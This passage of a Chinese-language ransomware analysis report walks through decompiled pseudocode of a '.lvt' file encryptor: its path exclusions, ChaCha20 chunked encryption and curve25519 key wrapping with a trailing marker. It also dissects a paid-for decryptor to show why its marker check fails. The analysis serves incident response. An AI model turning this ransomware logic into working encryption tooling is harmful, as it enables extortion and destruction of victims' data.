&nbsp;&nbsp;||&nbsp;strings_Index((int)a1,&nbsp;a2,&nbsp;(int)"/dev",&nbsp;4)&nbsp;>=&nbsp;0
&nbsp;&nbsp;||&nbsp;strings_Index((int)a1,&nbsp;a2,&nbsp;(int)"/etc",&nbsp;4)&nbsp;>=&nbsp;0
&nbsp;&nbsp;||&nbsp;strings_Index((int)a1,&nbsp;a2,&nbsp;(int)"/home/httpd",&nbsp;11)&nbsp;>=&nbsp;0
&nbsp;&nbsp;||&nbsp;strings_Index((int)a1,&nbsp;a2,&nbsp;(int)".system/thumbnail",&nbsp;17)&nbsp;>=&nbsp;0
&nbsp;&nbsp;||&nbsp;strings_Index((int)a1,&nbsp;a2,&nbsp;(int)".system/opt",&nbsp;11)&nbsp;>=&nbsp;0
&nbsp;&nbsp;||&nbsp;strings_Index((int)a1,&nbsp;a2,&nbsp;(int)".config",&nbsp;7)&nbsp;>=&nbsp;0
&nbsp;&nbsp;||&nbsp;strings_Index((int)a1,&nbsp;a2,&nbsp;(int)".qpkg",&nbsp;5)&nbsp;>=&nbsp;0&nbsp;)
{
&nbsp;&nbsp;return&nbsp;qword_8280590;
}
v36&nbsp;=&nbsp;strings_Index((int)a1,&nbsp;a2,&nbsp;(int)"/mnt/ext/opt",&nbsp;12);
if&nbsp;(&nbsp;v36&nbsp;>=&nbsp;0&nbsp;)
&nbsp;&nbsp;return&nbsp;qword_8280590;

也规避了不加密README_lvt_PersonalKey.txt与README_lvt.txt

也不加密已.lvt后缀结尾的文件，避免重复加密。

通过判断的文件将加入加密队列等待加密。

5.1.4 main_encrypt_file函数

首先会对文件添加.lvt后缀。

v20&nbsp;=&nbsp;runtime_concatstring2(0,&nbsp;v68.len,&nbsp;v68.cap,&nbsp;(int)".lvt",&nbsp;4);
&nbsp;v18&nbsp;=&nbsp;os_rename(v68.len,&nbsp;v68.cap,&nbsp;v20,&nbsp;v23);

随机生成32Byte的数据进行sha256作为chacha20的密钥生成chacha20加密实例(下述代码仅保留了关键代码)。

v23&nbsp;=&nbsp;io_ReadAtLeast(no,&nbsp;rand_reader,&nbsp;(int)v46,&nbsp;32,&nbsp;32,&nbsp;32);
crypto_sha256_Sum256(v5,&nbsp;0);
((void&nbsp;(*)(void))loc_80AF350)();
v6.ptr&nbsp;=&nbsp;v42;
*(_QWORD&nbsp;*)&v6.len&nbsp;=&nbsp;0x2000000020LL;
crypto_sha256_Sum256(v6,&nbsp;v17);
((void&nbsp;(*)(void))loc_80AF350)();
sync__ptr_Mutex_Unlock(&stru_8293188);
((void&nbsp;(*)(void))loc_80AEE66)();
&nbsp;&nbsp;DWORD1(v23)&nbsp;=&nbsp;golang_org_x_crypto_chacha20_newUnauthenticatedCipher((int)&v43,&nbsp;(int)v42,&nbsp;32,&nbsp;32,&nbsp;(int)&v41,&nbsp;12,&nbsp;22);

通过文件的原始大小，选择加密方式Large cipher mode或者Small cipher mode

if&nbsp;(&nbsp;SHIDWORD(filesize)&nbsp;>&nbsp;0&nbsp;||&nbsp;HIDWORD(filesize)&nbsp;==&nbsp;0&nbsp;&&&nbsp;(unsigned&nbsp;int)filesize&nbsp;>&nbsp;0x1400000&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v49&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v50&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v11&nbsp;=&nbsp;runtime_convTstring(v68.len,&nbsp;v68.cap);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v49&nbsp;=&nbsp;&RTYPE_string;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v50&nbsp;=&nbsp;v11;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fmt_Fprintf((int)&off_81D2D64,&nbsp;dword_8280408,&nbsp;(int)"Large&nbsp;cipher&nbsp;mode&nbsp;for:&nbsp;%s\n",&nbsp;26,&nbsp;(int)&v49,&nbsp;1,&nbsp;1);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v31&nbsp;=&nbsp;runtime_int64div(filesize,&nbsp;(int)v30,&nbsp;10485760,&nbsp;0);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v32&nbsp;=&nbsp;v22;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v46&nbsp;=&nbsp;(_BYTE&nbsp;*)runtime_makeslice((int)RTYPE_uint8,&nbsp;0x100000,&nbsp;0x100000);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v0&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for&nbsp;(&nbsp;i&nbsp;=&nbsp;0;&nbsp;v0&nbsp;==&nbsp;v32&nbsp;&&&nbsp;i&nbsp;<&nbsp;v31&nbsp;||&nbsp;v0&nbsp;<&nbsp;v32;&nbsp;i&nbsp;=&nbsp;v34&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v28&nbsp;=&nbsp;v0;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;((void&nbsp;(*)(void))loc_80AEE8A)();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v27&nbsp;=&nbsp;10485760&nbsp;*&nbsp;v4;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v35&nbsp;=&nbsp;(10485760&nbsp;*&nbsp;__PAIR64__(v28,&nbsp;v4))&nbsp;>>&nbsp;32;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v34&nbsp;=&nbsp;v4&nbsp;+&nbsp;1;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v33&nbsp;=&nbsp;__CFADD__(v4,&nbsp;1)&nbsp;+&nbsp;v28;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v14&nbsp;=&nbsp;runtime_convT64(v4&nbsp;+&nbsp;1,&nbsp;v33);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v65[0]&nbsp;=&nbsp;&RTYPE_int64;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v65[1]&nbsp;=&nbsp;v14;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v15&nbsp;=&nbsp;runtime_convT64(v31,&nbsp;v32);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v65[2]&nbsp;=&nbsp;&RTYPE_int64;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v65[3]&nbsp;=&nbsp;v15;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v16&nbsp;=&nbsp;runtime_convTstring(v68.len,&nbsp;v68.cap);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v65[4]&nbsp;=&nbsp;&RTYPE_string;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v65[5]&nbsp;=&nbsp;v16;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fmt_Fprintf((int)&off_81D2D64,&nbsp;dword_8280408,&nbsp;(int)"Processing&nbsp;chunk&nbsp;%d\\%d&nbsp;(%s)\n",&nbsp;28,&nbsp;(int)v65,&nbsp;3,&nbsp;3);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;os__ptr_File_ReadAt((int)v45,&nbsp;(int)v46,&nbsp;0x100000,&nbsp;0x100000,&nbsp;v27,&nbsp;v35);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;golang_org_x_crypto_chacha20__ptr_Cipher_XORKeyStream(v44,&nbsp;v46,&nbsp;0x100000,&nbsp;0x100000,&nbsp;v46,&nbsp;0x100000,&nbsp;0x100000);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;os__ptr_File_WriteAt((int)v45,&nbsp;(int)v46,&nbsp;0x100000,&nbsp;0x100000,&nbsp;v27,&nbsp;v35);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v0&nbsp;=&nbsp;v33;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v47&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v48&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v12&nbsp;=&nbsp;runtime_convTstring(v68.len,&nbsp;v68.cap);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v47&nbsp;=&nbsp;&RTYPE_string;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v48&nbsp;=&nbsp;v12;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fmt_Fprintf((int)&off_81D2D64,&nbsp;dword_8280408,&nbsp;(int)"Small&nbsp;cipher&nbsp;mode&nbsp;for:&nbsp;%s\n",&nbsp;26,&nbsp;(int)&v47,&nbsp;1,&nbsp;1);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;SHIDWORD(filesize)&nbsp;>&nbsp;0&nbsp;||&nbsp;HIDWORD(filesize)&nbsp;==&nbsp;0&nbsp;&&&nbsp;(unsigned&nbsp;int)filesize&nbsp;>&nbsp;0x400000&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v2&nbsp;=&nbsp;0x400000;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v3&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v2&nbsp;=&nbsp;filesize;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v3&nbsp;=&nbsp;(int)v30;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v25&nbsp;=&nbsp;v2;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v26&nbsp;=&nbsp;v3;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v46&nbsp;=&nbsp;(_BYTE&nbsp;*)runtime_makeslice64((int)RTYPE_uint8,&nbsp;v2,&nbsp;v3,&nbsp;v2,&nbsp;v3);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v24&nbsp;=&nbsp;os__ptr_File_ReadAt((int)v45,&nbsp;(int)v46,&nbsp;v25,&nbsp;v25,&nbsp;0,&nbsp;0);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v25&nbsp;!=&nbsp;v24&nbsp;||&nbsp;v26&nbsp;!=&nbsp;v24&nbsp;>>&nbsp;31&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v61&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v62&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v63&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v64&nbsp;=&nbsp;0;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v10&nbsp;=&nbsp;runtime_convT32(v24);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v61&nbsp;=&nbsp;&RTYPE_int;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v62&nbsp;=&nbsp;v10;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v13&nbsp;=&nbsp;runtime_convT64(v25,&nbsp;v26);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v63&nbsp;=&nbsp;&RTYPE_int64;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v64&nbsp;=&nbsp;v13;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fmt_Fprintf((int)&off_81D2D64,&nbsp;dword_8280408,&nbsp;(int)"ERROR:&nbsp;%d&nbsp;!=&nbsp;%d\n",&nbsp;16,&nbsp;(int)&v61,&nbsp;2,&nbsp;2);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(*v66)();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(*v67)();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;golang_org_x_crypto_chacha20__ptr_Cipher_XORKeyStream(v44,&nbsp;v46,&nbsp;v25,&nbsp;v25,&nbsp;v46,&nbsp;v25,&nbsp;v25);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;os__ptr_File_WriteAt((int)v45,&nbsp;(int)v46,&nbsp;v25,&nbsp;v25,&nbsp;0,&nbsp;0);
&nbsp;&nbsp;&nbsp;&nbsp;}

将随机生成32Byte的数据通过ecc公钥加密之后存入文件尾部(下述代码仅保留了关键代码)。

v7.ptr&nbsp;=&nbsp;v40;
golang_org_x_crypto_curve25519_scalarBaseMult((int)v39,&nbsp;v7);
v8.ptr&nbsp;=&nbsp;v40;
v8.len&nbsp;=&nbsp;(size_t)&v69;
golang_org_x_crypto_curve25519_scalarMult((int)v38,&nbsp;v8);
......
os__ptr_File_WriteAt((int)v45,&nbsp;(int)v39,&nbsp;32,&nbsp;32,&nbsp;filesize,&nbsp;(int)v30);

向文件尾部写入6Byte的特征码，特征码硬编码在程序中。

&nbsp;v36&nbsp;=&nbsp;0xDECDBCAB;
&nbsp;v37&nbsp;=&nbsp;0xF0EF;
&nbsp;......
os__ptr_File_WriteAt((int)v45,&nbsp;(int)&v36,&nbsp;6,&nbsp;6,&nbsp;filesize&nbsp;+&nbsp;32,&nbsp;(filesize&nbsp;+&nbsp;32)&nbsp;>>&nbsp;32);//&nbsp;写入特征

5.2 解密器逆向分析

通过客户反馈得知，客户已交付赎金并且黑客交付了解密器，但解密器无法正常使用恢复被加密文件，solar团队工程师对该解密器进行逆向分析排查无法正常恢复的原因：

解密器的使用方法为解密器 [path to be decrypted] [personal key]

5.2.1 main_main函数

if&nbsp;(&nbsp;qword_2F0928&nbsp;==&nbsp;3&nbsp;)
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;v10&nbsp;=&nbsp;*(_QWORD&nbsp;*)(os_Args&nbsp;+&nbsp;24);
&nbsp;&nbsp;&nbsp;&nbsp;v11&nbsp;=&nbsp;path_filepath_Walk(*(_QWORD&nbsp;*)(os_Args&nbsp;+&nbsp;16),&nbsp;v10,&nbsp;(unsigned&nbsp;int)&off_2512E0,&nbsp;v1,&nbsp;v2,&nbsp;v3,&nbsp;v4);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v11&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v20&nbsp;=&nbsp;v6;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*(_QWORD&nbsp;*)&v20&nbsp;=&nbsp;*(_QWORD&nbsp;*)(v11&nbsp;+&nbsp;8);
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;*((_QWORD&nbsp;*)&v20&nbsp;+&nbsp;1)&nbsp;=&nbsp;v10;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;fmt_Fprintln(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(unsigned&nbsp;int)go_itab__os_File_io_Writer,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;os_Stdout,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(unsigned&nbsp;int)&v20,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v12,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v13,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v14,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v15,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v16,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v17,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v18);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;}
&nbsp;&nbsp;else
&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;v19&nbsp;=&nbsp;v6;
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;!qword_2F0928&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;runtime_panicIndex(0LL,&nbsp;v0);
&nbsp;&nbsp;&nbsp;&nbsp;v7&nbsp;=&nbsp;runtime_convTstring(*(_QWORD&nbsp;*)os_Args,&nbsp;*(_QWORD&nbsp;*)(os_Args&nbsp;+&nbsp;8),&nbsp;os_Args,&nbsp;v1,&nbsp;v2,&nbsp;v3,&nbsp;v4);
&nbsp;&nbsp;&nbsp;&nbsp;*(_QWORD&nbsp;*)&v19&nbsp;=&nbsp;&RTYPE_string;
&nbsp;&nbsp;&nbsp;&nbsp;*((_QWORD&nbsp;*)&v19&nbsp;+&nbsp;1)&nbsp;=&nbsp;v7;
&nbsp;&nbsp;&nbsp;&nbsp;fmt_Fprintf(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(unsigned&nbsp;int)go_itab__os_File_io_Writer,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;os_Stdout,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(unsigned&nbsp;int)"%s&nbsp;[path&nbsp;to&nbsp;be&nbsp;decrypted]&nbsp;[personal&nbsp;key]\n",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;41,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(unsigned&nbsp;int)&v19,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v8,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v9,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v16,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v17);
&nbsp;&nbsp;}

仅检查了参数的个数便调用path_filepath_Walk进行接下来的步骤。

5.2.2 main_decrypt_file

此函数的参数主要包括解密文件的完整路径，与解密使用的key

__int64&nbsp;__golang&nbsp;main_decrypt_file(
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__int64&nbsp;vfilename,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;unsigned&nbsp;__int64&nbsp;filename_len,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__int64&nbsp;key,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__int64&nbsp;kenlen,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__int64&nbsp;a5,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__int64&nbsp;a6,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__int64&nbsp;a7,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__int64&nbsp;a8,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__int64&nbsp;a9)

首先将key进行hex decode解码

&nbsp;key_1&nbsp;=&nbsp;key;
&nbsp;key_2&nbsp;=&nbsp;(__int128&nbsp;*)runtime_stringtoslicebyte((unsigned&nbsp;int)&v174,&nbsp;key,&nbsp;kenlen,&nbsp;kenlen,&nbsp;a5,&nbsp;a6,&nbsp;a7,&nbsp;a8,&nbsp;a9);
&nbsp;v159&nbsp;=&nbsp;v12;
&nbsp;v13&nbsp;=&nbsp;key_1;
&nbsp;v14&nbsp;=&nbsp;encoding_hex_Decode((__int64)key_2,&nbsp;key_1,&nbsp;v12,&nbsp;(__int64)key_2,&nbsp;key_1);
&nbsp;if&nbsp;(&nbsp;v159&nbsp;<&nbsp;v14&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;runtime_panicSliceAcap(v14,&nbsp;key_1,&nbsp;v14);
&nbsp;ecc_key[0]&nbsp;=&nbsp;v10;
&nbsp;ecc_key[1]&nbsp;=&nbsp;v10;
&nbsp;if&nbsp;(&nbsp;v159&nbsp;<&nbsp;0x20&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;runtime_panicSliceAcap(v14,&nbsp;key_1,&nbsp;32LL);
&nbsp;key_3&nbsp;=&nbsp;key_2;
&nbsp;key_4&nbsp;=&nbsp;ecc_key;
&nbsp;if&nbsp;(&nbsp;key_2&nbsp;!=&nbsp;ecc_key&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;key_4&nbsp;=&nbsp;(__int128&nbsp;*)runtime_memmove(ecc_key,&nbsp;key_2,&nbsp;32LL);

然后修改文件名，即删除了文件的.lvt后缀。

if&nbsp;(&nbsp;filename_len&nbsp;<&nbsp;filename_len&nbsp;-&nbsp;4&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;runtime_panicSliceAlen(key_4,&nbsp;key_3,&nbsp;filename_len&nbsp;-&nbsp;4);
new_filename_len&nbsp;=&nbsp;filename_len&nbsp;-&nbsp;4;
v21&nbsp;=&nbsp;os_rename(filename3,&nbsp;filename_len,&nbsp;filename3,&nbsp;(int)filename_len&nbsp;-&nbsp;4,&nbsp;v13,&nbsp;v15,&nbsp;v16,&nbsp;v17,&nbsp;v18,&nbsp;v109,&nbsp;v125,&nbsp;v138);

接着打开文件，并获得了相关文件信息(下述代码删除了异常处理部分)。

openfile&nbsp;=&nbsp;(os_File&nbsp;*)os_OpenFile(filename3,&nbsp;new_filename_len,&nbsp;2,&nbsp;0,&nbsp;v13,&nbsp;v22,&nbsp;v23,&nbsp;v24,&nbsp;v25,&nbsp;v110,&nbsp;v126,&nbsp;v139);
file_stat&nbsp;=&nbsp;os__ptr_File_Stat(openfile);
file_len&nbsp;=&nbsp;(*((__int64&nbsp;(__golang&nbsp;**)(void&nbsp;*))file_stat.0.tab&nbsp;+&nbsp;7))(file_stat.0.data);

接下来判断文件的长度是否大于38，如果小于等于38，则抛出异常，从这也可以看出加密后的文件有额外的38byte。

接着读取文件的后6Byte，与程序中的硬编码数据比较，如果比较不通过则不进行解密，我们称这6Byte的编码为识别码上文所说的加密器与解密器不配套即为此识别码不同。

if&nbsp;(&nbsp;file_len&nbsp;>&nbsp;38&nbsp;)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;额外数据块大小为38
{
&nbsp;&nbsp;&nbsp;&nbsp;v164&nbsp;=&nbsp;file_len;
&nbsp;&nbsp;&nbsp;&nbsp;file_stat.0.data&nbsp;=&nbsp;v158;
&nbsp;&nbsp;&nbsp;&nbsp;file_stat.1.data&nbsp;=&nbsp;(void&nbsp;*)6;
&nbsp;&nbsp;&nbsp;&nbsp;os__ptr_File_ReadAt(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;读取后6Byte
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(_DWORD)openfile1,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(unsigned&nbsp;int)v158,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;6,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;6,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;file_len&nbsp;-&nbsp;6,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v40,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v41,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v42,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v43,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v111,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v127,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v140,
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;v151);
&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(&nbsp;v158[0]&nbsp;==&nbsp;7&nbsp;&&&nbsp;v158[1]&nbsp;==&nbsp;0x21&nbsp;&&&nbsp;v158[2]&nbsp;==&nbsp;0x51&nbsp;&&&nbsp;v158[3]&nbsp;==&nbsp;0x4E&nbsp;&&&nbsp;v158[4]&nbsp;==&nbsp;0x41&nbsp;&&&nbsp;v158[5]&nbsp;==&nbsp;0x50&nbsp;)
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;do_decrypt;

识别码判断通过之后，读取文件除识别码的后32Byte，并使用上文hex decode解码后的key作为Elliptic Curve Cryptography的私钥对32Byte的数据进行解密，解密后的数据再进行sha256计算，最终得到的数据用于生成chacha20加密器实例。

if&nbsp;(&nbsp;v158[0]&nbsp;==&nbsp;7&nbsp;&&&nbsp;v158[1]&nbsp;==&nbsp;0x21&nbsp;&&&nbsp;v158[2]&nbsp;==&nbsp;0x51&nbsp;&&&nbsp;v158[3]&nbsp;==&nbsp;0x4E&nbsp;&&&nbsp;v158[4]&nbsp;==&nbsp;0x41&nbsp;&&&nbsp;v158[5]&nbsp;==&nbsp;0x50&nbsp;)//&nbsp;文件尾部特征
{
&nbsp;&nbsp;v166&nbsp;=&nbsp;v164&nbsp;-&nbsp;38;
&nbsp;&nbsp;v48&nbsp;=&nbsp;v164&nbsp;-&nbsp;38;
&nbsp;&nbsp;os__ptr_File_ReadAt(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;读取32Byte
&nbsp;&nbsp;&nbsp;&nbsp;(_DWORD)openfile1,
&nbsp;&nbsp;&nbsp;&nbsp;(unsigned&nbsp;int)data32Byte,
&nbsp;&nbsp;&nbsp;&nbsp;32,
&nbsp;&nbsp;&nbsp;&nbsp;32,
&nbsp;&nbsp;&nbsp;&nbsp;v164&nbsp;-&nbsp;38,
